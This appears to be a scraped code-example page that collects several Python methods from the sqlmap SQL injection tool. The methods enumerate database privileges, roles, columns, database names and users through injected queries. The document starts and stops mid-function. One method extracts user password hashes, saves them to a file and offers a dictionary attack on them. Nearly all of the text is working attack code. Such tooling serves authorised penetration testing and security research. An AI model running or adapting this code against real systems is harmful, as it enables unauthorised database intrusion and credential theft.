                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.count % (conditionChar, user)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
                            infoMsg = "trying with table 'USER_SYS_PRIVS'"
                            logger.info(infoMsg)

                            return self.getPrivileges(query2=True)

                        warnMsg = "unable to retrieve the number of "
                        warnMsg += "privileges for user '%s'" % outuser
                        logger.warn(warnMsg)
                        continue

                infoMsg = "fetching privileges for user '%s'" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (user,)
                    else:
                        query = rootQuery.blind.query % (user, index)

                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if privilege is None:
                        continue

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.upper() == 'Y':
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        if privilege.strip() in FIREBIRD_PRIVS:
                            privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In Informix we get one letter for the highest privilege
                    elif Backend.isDbms(DBMS.INFORMIX):
                        privileges.add(INFORMIX_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(',')
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ('Y', 'G'):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += ", " + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = "unable to retrieve the privileges "
                    warnMsg += "for user '%s'" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = "unable to retrieve the privileges "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)
Ejemplo n.º 22
0
    def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException, errMsg

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(",")
        else:
            colList = []

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException, errMsg

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is Access"
                logger.error(errMsg)
                bruteForce = True

        if bruteForce or colList:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = {
                                safeSQLIdentificatorNaming(tbl, True): columns
                            }

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.inband.query % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(
                        tbl.upper())
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (
                        conf.db, conf.db, conf.db, conf.db,
                        conf.db, conf.db, conf.db,
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.inband.query % tbl

                value = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(value))
                elif not isNoneValue(value):
                    table = {}
                    columns = {}

                    for columnData in value:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if len(columnData) == 1:
                                    columns[name] = ""
                                else:
                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % conf.db
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.blind.count % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
                        tbl.upper())
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = inject.getValue(query, union=False, error=False)
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    errMsg = "unable to retrieve the number of columns "
                    errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.error(errMsg)

                    continue

                table = {}
                columns = {}

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(tbl),
                            unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(
                            tbl.upper())
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace(
                            "'%s'", "'%s'" %
                            unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
                        ).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None

                    query = agent.limitQuery(index, query, field, field)
                    column = inject.getValue(query, union=False, error=False)

                    if not isNoneValue(column):
                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                               DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(tbl), column,
                                    unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                 DBMS.DB2):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(
                                        tbl.upper()), column)
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (
                                    conf.db, conf.db, conf.db, conf.db, column,
                                    conf.db, conf.db, conf.db,
                                    unsafeSQLIdentificatorNaming(tbl).split(
                                        ".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)

                            colType = inject.getValue(query,
                                                      union=False,
                                                      error=False)

                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(colType, colType)

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        if not kb.data.cachedColumns:
            errMsg = "unable to retrieve column names for "
            errMsg += ("table '%s' " %
                       tblList[0]) if len(tblList) == 1 else "any table "
            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                conf.db)
            logger.error(errMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames,
                                       colTuple=colTuple,
                                       bruteForce=True)

        return kb.data.cachedColumns
Ejemplo n.º 23
0
    def getRoles(self, query2=False):
        infoMsg = "fetching database users roles"

        rootQuery = queries[DBMS.ORACLE].roles

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                users = conf.user.split(",")
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and not query2:
                infoMsg = "trying with table USER_ROLE_PRIVS"
                logger.info(infoMsg)

                return self.getRoles(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    roles = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the roles
                        else:
                            role = value[count]

                            # In Oracle we get the list of roles as string
                            roles.add(role)

                    if user in kb.data.cachedUsersRoles:
                        kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user]))
                    else:
                        kb.data.cachedUsersRoles[user] = list(roles)

        if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct:
            if conf.user:
                users = conf.user.split(",")
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
                else:
                    users = kb.data.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if user in retrievedUsers:
                    continue

                infoMsg = "fetching number of roles "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if query2:
                    query = rootQuery.blind.count2 % queryUser
                else:
                    query = rootQuery.blind.count % queryUser
                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if count != 0 and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "roles for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching roles for user '%s'" % user
                logger.info(infoMsg)

                roles = set()

                indexRange = getLimitRange(count, plusOne=True)

                for index in indexRange:
                    if query2:
                        query = rootQuery.blind.query2 % (queryUser, index)
                    else:
                        query = rootQuery.blind.query % (queryUser, index)
                    role = inject.getValue(query, union=False, error=False)

                    # In Oracle we get the list of roles as string
                    roles.add(role)

                if roles:
                    kb.data.cachedUsersRoles[user] = list(roles)
                else:
                    warnMsg = "unable to retrieve the roles "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersRoles:
            errMsg = "unable to retrieve the roles "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersRoles.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return kb.data.cachedUsersRoles, areAdmins
Ejemplo n.º 24
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == CURRENT_USER:
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)

                if retVal:
                    for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
                elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
                    values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            fallback = False

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)

                if retVal:
                    for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        password = "******" % encodeHex(password, binary=False).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            if Backend.isDbms(DBMS.MSSQL):
                                fallback = True
                                count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                            elif Backend.isDbms(DBMS.MYSQL):
                                fallback = True
                                count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)

                            if fallback:
                                query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")

                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)

                        elif Backend.isDbms(DBMS.HSQLDB):
                            query = rootQuery.blind.query % (index, user)

                        else:
                            query = rootQuery.blind.query % (user, index)

                        if Backend.isDbms(DBMS.MYSQL):
                            if fallback:
                                query = query.replace("authentication_string", "password")

                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the DBMS "
            errMsg += "current user has no read privileges over the relevant "
            errMsg += "system database table(s))"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Ejemplo n.º 25
0
    def getDbs(self):
        if len(kb.data.cachedDbs) > 0:
            return kb.data.cachedDbs

        infoMsg = None

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            warnMsg = u"information_schema不可用,后端DBMS是MySQL<5.X版本的,数据库名称将从“mysql”数据库中获取。"
            logger.warn(warnMsg)

        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL):
            warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = u"获取数据库(schema)名称"

        else:
            infoMsg = u"获取数据库名称"

        if infoMsg:
            logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].dbs

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedDbs = arrayizeValue(values)

        if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
            infoMsg = u"获取数据库数量"
            logger.info(infoMsg)

            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count
            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = u"无法检索数据库的数量"
                logger.error(errMsg)
            else:
                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % index
                    else:
                        query = rootQuery.blind.query % index
                    db = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if db:
                        kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))

        if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                blinds = (False, True)
            else:
                blinds = (True,)

            for blind in blinds:
                count = 0
                kb.data.cachedDbs = []
                while True:
                    query = rootQuery.inband.query2 % count
                    value = unArrayizeValue(inject.getValue(query, blind=blind))
                    if not (value or "").strip():
                        break
                    else:
                        kb.data.cachedDbs.append(value)
                        count += 1
                if kb.data.cachedDbs:
                    break

        if not kb.data.cachedDbs:
            infoMsg = u"回退到当前数据库"
            logger.info(infoMsg)
            self.getCurrentDb()

            if kb.data.currentDb:
                kb.data.cachedDbs = [kb.data.currentDb]
            else:
                errMsg = u"无法检索数据库名称"
                raise SqlmapNoneDataException(errMsg)
        else:
            kb.data.cachedDbs.sort()

        if kb.data.cachedDbs:
            kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs))))

        return kb.data.cachedDbs
Ejemplo n.º 26
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)

